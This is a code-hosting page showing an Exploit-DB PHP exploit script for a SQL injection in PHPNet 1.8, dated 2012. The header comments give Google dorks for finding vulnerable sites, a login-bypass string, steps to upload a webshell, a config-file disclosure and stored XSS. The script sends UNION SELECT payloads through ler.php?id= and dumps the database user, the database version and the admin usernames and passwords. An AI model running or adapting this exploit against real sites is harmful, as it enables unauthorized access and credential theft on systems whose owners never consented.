PageRenderTime 60ms CodeModel.GetById 24ms RepoModel.GetById 0ms app.codeStats 0ms

/exploits/php/webapps/19007.php

https://bitbucket.org/DinoRex99/exploit-database
PHP | 126 lines | 77 code | 7 blank | 42 comment | 3 complexity | 2d4c4d0ed627482fa49048faf6186469 MD5 | raw file
Possible License(s): GPL-2.0
  1. <?php
  2. # Exploit Title: PHPNet <= 1.8 (ler.php) SQL Injection
  3. # Exploit Author: WhiteCollarGroup
  4. # Date: 06th 06 2012
  5. # Vendor homepage: http://www.phpnet.com.br/
  6. # Software Link: http://phpbrasil.com/script/Wb03ErMczAho/phpnetartigos
  7. # Google Dork: intext:"Powerd by Nielson Rocha"
  8. # Google Dork: inurl:"ler.php?id=" intext:"Voltar - Imprimir"
  9. # Version: 1.8
  10. # Tested on: Debian GNU/Linux,Windows 7 Ultimate
  11. /*
  12. We discovered multiple vulnerabilities on the system.
  13. ~> SQL Injection
  14. This exploit is for a vulnerability in ler.php, but are the same vulnerability on imprimir.php and imagem.php.
  15. ler.php?id=[SQLi]
  16. imprimir.php?id=[SQLi]
  17. imagem.php?id=[SQLi]
  18. Usage:
  19. php file.php http://server/path/
  20. ~> Login bypass
  21. In login page, you can bypass the login using "SQLi strings".
  22. Go to http://server/path/admin/login.php
  23. Login: ' or 1=1-- wc
  24. Pass: wcgroup
  25. ~> Arbitraty File Upload
  26. After open administration panel, try to add a new article.
  27. Use the upload form to upload your webshell.
  28. After posting, access:
  29. http://server/path/tmp/your_shell_filename.php
  30. ~> Information disclosure
  31. Access:
  32. http://server/path/conf/config.ini
  33. ~> XSS Stored (persistent)
  34. When posting a new article, you can post (D)HTML/Javascript codes on the page.
  35. */
  36. function _printf($str) {
  37. echo $str."\n";
  38. }
  39. function hex($string){
  40. $hex=''; // PHP 'Dim' =]
  41. for ($i=0; $i < strlen($string); $i++){
  42. $hex .= dechex(ord($string[$i]));
  43. }
  44. return '0x'.$hex;
  45. }
  46. set_time_limit(0);
  47. error_reporting(E_ERROR & E_USER_WARNING);
  48. @ini_set('default_socket_timeout', 30);
  49. echo "\n";
  50. echo "PHPNet <= 1.8 SQLi Exploit\n";
  51. echo "Discovered by WhiteCollarGroup\n";
  52. echo "www.wcgroup.host56.com - whitecollar_group@hotmail.com";
  53. if($argc!=2) {
  54. _printf("Usage:");
  55. _printf("php $argv[0] <target>");
  56. _printf("Example:");
  57. _printf("php $argv[0] http://site.com/path/");
  58. exit;
  59. }
  60. $target = $argv[1];
  61. if(substr($target, (strlen($target)-1))!="/") { // se o ultimo caractere nao for uma barra
  62. $target .= "/";
  63. }
  64. $inject = $target . "ler.php?id=-0'%20";
  65. $token = uniqid();
  66. $token_hex = hex($token);
  67. // vamos agora obter os seguintes dados: user() version()
  68. echo "\n\n[*] Trying to get informations...\n";
  69. $infos = file_get_contents($inject.urlencode("union all select 1,2,3,4,concat(".$token_hex.",version(),".$token_hex.",user(),".$token_hex."),6,7,8-- "));
  70. $infos_r = array();
  71. preg_match_all("/$token(.*)$token(.*)$token/", $infos, $infos_r);
  72. $user = $infos_r[1][0];
  73. $version = $infos_r[2][0];
  74. if(($user) AND ($version))
  75. {
  76. echo "[!] MySQL user: $user\n";
  77. echo "[!] MySQL version: $version\n";
  78. }
  79. else
  80. {
  81. echo "[-] Error while getting informations...\n";
  82. }
  83. $i = 0;
  84. while(1==1) {
  85. $dados_r = array();
  86. $dados = file_get_contents($inject.urlencode("union all select 1,2,3,4,concat(".$token_hex.",admin_user,".$token_hex.",admin_pass,".$token_hex."),6,7,8 from pna_admin limit $i,1-- "));
  87. preg_match_all("/$token(.*)$token(.*)$token/", $dados, $dados_r);
  88. $login = $dados_r[1][0];
  89. $senha = $dados_r[2][0];
  90. if(($login) AND ($senha)) {
  91. echo " -+-\n";
  92. echo "[!] User: $login\n";
  93. echo "[!] Pass: $senha\n";
  94. $i++;
  95. } else {
  96. break; // exitloop
  97. }
  98. if($i==0) {
  99. echo "[-] Exploit failed. Make sure that's server is using a valid version of PHPNet without mod_security. We're sorry.";
  100. } else {
  101. echo " -+-\n[!] :D";
  102. }
  103. echo "\n";
  104. }
  105. ?>